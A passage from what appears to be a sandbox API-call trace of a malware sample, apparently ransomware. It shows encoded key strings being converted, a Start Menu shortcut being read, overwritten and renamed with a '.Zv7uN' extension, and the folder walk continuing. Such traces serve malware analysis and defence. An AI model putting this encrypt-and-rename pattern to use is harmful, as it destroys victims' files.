halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk")) returned 0x20 [0128.803] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk", dwFileAttributes=0x80) returned 1 [0128.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.806] GetCurrentThreadId () returned 0xa30 [0128.806] GetCurrentThreadId () returned 0xa30 [0128.806] GetCurrentThreadId () returned 0xa30 [0128.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.807] GetCurrentThreadId () returned 0xa30 [0128.807] GetCurrentThreadId () returned 0xa30 [0128.807] GetCurrentThreadId () returned 0xa30 [0128.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0128.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4cc [0128.807] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.808] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x4cc, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f3d4*=0x4cc, lpOverlapped=0x0) returned 1 [0128.811] CloseHandle (hObject=0x1e8) returned 1 [0128.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.813] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f22130*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22130*, lpNumberOfBytesWritten=0x18f3e0*=0x4cc, lpOverlapped=0x0) returned 1 [0128.815] CloseHandle (hObject=0x1e8) returned 1 [0128.815] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk.zv7un")) returned 1 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] GetCurrentThreadId () returned 0xa30 [0128.817] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0128.817] GetLastError () returned 0x12 [0128.817] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0128.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x613985e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x613985e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0128.818] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0128.818] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.818] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x613985e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x613985e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0128.818] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.818] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.818] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0128.818] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.818] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0128.819] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0128.819] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0128.819] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0128.819] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0128.819] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, 